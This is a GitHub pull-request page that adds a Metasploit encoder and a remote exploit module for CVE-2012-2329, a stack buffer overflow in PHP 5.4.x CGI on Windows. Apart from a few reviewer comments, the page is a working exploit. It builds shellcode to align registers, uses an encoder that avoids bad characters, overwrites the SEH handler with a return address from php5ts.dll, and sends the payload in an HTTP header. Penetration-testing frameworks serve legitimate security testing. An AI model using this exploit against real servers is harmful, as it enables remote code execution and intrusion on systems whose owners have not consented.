-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Added module plus encoder for CVE-2012-2329 #487
Changes from 2 commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,209 @@ | ||
## | ||
# $Id$ | ||
## | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Encoder | ||
|
||
# This encoder has a manual ranking because it should only be used in cases | ||
# where information has been explicitly supplied, like the BufferOffset. | ||
Rank = ManualRanking | ||
|
||
# This encoder is a modified version of the sakpe's Avoid UTF8/tolower one, having | ||
# into account the next set of bad chars for CVE-2012-2329 exploitation: | ||
# "\x00\x0d\x0a" | ||
# "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" | ||
# "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5f" | ||
# "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e" | ||
# "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f" | ||
def initialize | ||
super( | ||
'Name' => 'Avoid underscore/tolower', | ||
'Version' => '$Revision$', | ||
'Description' => %q{ | ||
Underscore/tolower Safe Encoder used to exploit CVE-2012-2329. It is a | ||
modified version of the 'Avoid UTF8/tolower' encoder by skape. Please check | ||
the documentation of the skape encoder before using it. As the original, | ||
this encoder expects ECX pointing to the start of the encoded payload. Also | ||
BufferOffset must be provided if needed. | ||
|
||
The changes introduced are (1) avoid the use of the 0x5f byte (underscore) in | ||
because it is a badchar in the CVE-2012-2329 case and (2) optimize the | ||
transformation block, having into account more relaxed conditions about bad | ||
characters greater than 0x80. | ||
}, | ||
'Author' => | ||
[ | ||
'skape', # avoid_utf8_lower Author | ||
'juan vazquez' # Adapted to be usable on CVE-2012-2329 | ||
], | ||
'Arch' => ARCH_X86, | ||
'License' => MSF_LICENSE, | ||
'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe, | ||
'Decoder' => | ||
{ | ||
'KeySize' => 4, | ||
'BlockSize' => 4, | ||
}) | ||
end | ||
|
||
# | ||
# Returns the decoder stub that is adjusted for the size of | ||
# the buffer being encoded | ||
# | ||
def decoder_stub(state) | ||
len = ((state.buf.length + 3) & (~0x3)) / 4 | ||
|
||
# Grab the number of additional bytes that we need to adjust by in order | ||
# to get the context register to point immediately after the stub header | ||
off = (datastore['BufferOffset'] || 0).to_i | ||
|
||
# Check to make sure that the length is a valid size | ||
while is_badchar(state, len) | ||
# Prepend "\x90" nops to avoid break anything. Anyway it's going to be encoded. | ||
state.buf = "\x90\x90\x90\x90" + state.buf | ||
len = ((state.buf.length + 3) & (~0x3)) / 4 | ||
end | ||
|
||
decoder = | ||
"\x6a" + [len].pack('C') + # push len | ||
"\x6b\x3c\x24\x09" + # imul 0x9 | ||
"\x60" + # pusha | ||
"\x03\x0c\x24" + # add ecx, [esp] | ||
"\x6a" + [0x11+off].pack('C') + # push byte 0x11 + off | ||
"\x03\x0c\x24" + # add ecx, [esp] | ||
"\x6a\x04" # push byte 0x4 | ||
|
||
# encoded sled | ||
state.context = '' | ||
|
||
return decoder | ||
end | ||
|
||
def encode_block(state, block) | ||
buf = try_add(state, block) | ||
|
||
if (buf.nil?) | ||
buf = try_sub(state, block) | ||
end | ||
|
||
if (buf.nil?) | ||
raise BadcharError.new(state.encoded, 0, 0, 0) | ||
end | ||
|
||
buf | ||
end | ||
|
||
# | ||
# Appends the encoded context portion. | ||
# | ||
def encode_end(state) | ||
state.encoded += state.context | ||
end | ||
|
||
# | ||
# Generate the instructions that will be used to produce a valid | ||
# block after decoding using the sub instruction in conjunction with | ||
# two underscore/tolower safe values. | ||
# | ||
def try_sub(state, block) | ||
buf = "\x81\x29"; | ||
vbuf = '' | ||
ctx = '' | ||
carry = 0 | ||
|
||
block.each_byte { |b| | ||
|
||
x = 0 | ||
y = 0 | ||
attempts = 0 | ||
prev_carry = carry | ||
|
||
begin | ||
carry = prev_carry | ||
|
||
if (b > 0x80) | ||
diff = 0x100 - b | ||
y = rand(0x80 - diff - 1).to_i + 1 | ||
x = (0x100 - (b - y + carry)) | ||
carry = 1 | ||
else | ||
diff = 0x7f - b | ||
x = rand(diff - 1) + 1 | ||
y = (b + x + carry) & 0xff | ||
carry = 0 | ||
end | ||
|
||
attempts += 1 | ||
|
||
# Lame. | ||
return nil if (attempts > 512) | ||
|
||
end while (is_badchar(state, x) or is_badchar(state, y)) | ||
|
||
vbuf += [x].pack('C') | ||
ctx += [y].pack('C') | ||
} | ||
|
||
buf += vbuf + "\x03\x0c\x24" | ||
|
||
state.context += ctx | ||
|
||
return buf | ||
|
||
end | ||
|
||
# | ||
# Generate instructions that will be used to produce a valid block after | ||
# decoding using the add instruction in conjunction with two underscore/tolower | ||
# safe values. | ||
# | ||
def try_add(state, block) | ||
buf = "\x81\x01" | ||
vbuf = '' | ||
ctx = '' | ||
|
||
block.each_byte { |b| | ||
|
||
attempts = 0 | ||
|
||
begin | ||
if b == 0x00 | ||
xv = rand(b - 1) # badchars will kill 0x00 if it isn't allowed | ||
else | ||
xv = rand(b - 1) + 1 | ||
end | ||
|
||
|
||
attempts += 1 | ||
|
||
# Lame. | ||
return nil if (attempts > 512) | ||
|
||
end while (is_badchar(state, xv) or is_badchar(state, b - xv)) | ||
|
||
vbuf += [xv].pack('C') | ||
ctx += [b - xv].pack('C') | ||
} | ||
|
||
buf += vbuf + "\x03\x0c\x24" | ||
|
||
state.context += ctx | ||
|
||
return buf | ||
end | ||
|
||
def is_badchar(state, val) | ||
(val >= 0x41 and val <= 0x5a) or val == 0x5f or Rex::Text.badchar_index([val].pack('C'), state.badchars) | ||
end | ||
|
||
end |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,124 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::Seh | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'PHP apache_request_headers Function Buffer Overflow', | ||
'Description' => %q{ | ||
This module exploits a stack based buffer overflow in the CGI version of PHP | ||
5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the | ||
HTTP headers. | ||
|
||
This module has been tested against the thread safe version of PHP 5.4.2, | ||
from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com". | ||
}, | ||
'Author' => | ||
[ | ||
'Vincent Danen', # Vulnerability discovery | ||
'juan vazquez', # Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'Version' => '$Revision$', | ||
'References' => | ||
[ | ||
[ 'CVE', '2012-2329'], | ||
[ 'OSVDB', '82215'], | ||
[ 'BID', '53455'], | ||
[ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ], | ||
[ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'], | ||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'EXITFUNC' => 'process', | ||
}, | ||
'Privileged' => true, | ||
'Payload' => | ||
{ | ||
'Space' => 1321, | ||
'DisableNops' => true, | ||
'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"), | ||
'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe, | ||
'EncoderOptions' => | ||
{ | ||
'BufferOffset' => 0x0 | ||
} | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe', | ||
{ | ||
'Ret' => 0x1002aa79, # ppr from php5ts.dll | ||
'Offset' => 1332 | ||
} | ||
], | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'May 08 2012')) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']), | ||
], self.class) | ||
|
||
end | ||
|
||
def exploit | ||
print_status("Trying target #{target.name}...") | ||
|
||
# Make ECX point to the start of the encoded payload | ||
align_ecx = "pop esi\n" # "\x5e" | ||
align_ecx << "add esi, -#{target['Offset']+8+5-11}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF") | ||
align_ecx << "sub ecx, ecx\n" # "\x29\xC9" | ||
align_ecx << "add ecx, esi" # "\x01\xf1" | ||
sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string | ||
# Encoded payload | ||
sploit << payload.encoded | ||
# Padding if needed | ||
sploit << rand_text(target['Offset']-sploit.length) | ||
# SEH handler overwrite | ||
sploit << generate_seh_record(target.ret) | ||
# Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF") | ||
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string | ||
# Make it crash | ||
sploit << rand_text(4096 - sploit.length) | ||
|
||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") | ||
|
||
uri = target_uri.path | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. why not just |
||
|
||
if target_uri.query and not target_uri.query.empty? | ||
uri << "?" | ||
uri << target_uri.query | ||
end | ||
|
||
res = send_request_cgi({ | ||
'uri' => uri, | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. We should really just allow a |
||
'method' => 'GET', | ||
'headers' => | ||
{ | ||
"HTTP_X_#{rand_text_alpha_lower(4)}" => sploit, | ||
} | ||
}) | ||
|
||
if res and res.code == 500 | ||
print_status "We got a 500 error code. Even without a session it could be an exploitation signal!" | ||
end | ||
|
||
handler | ||
end | ||
end | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would be nice to have a comment documenting why it's +8+5-11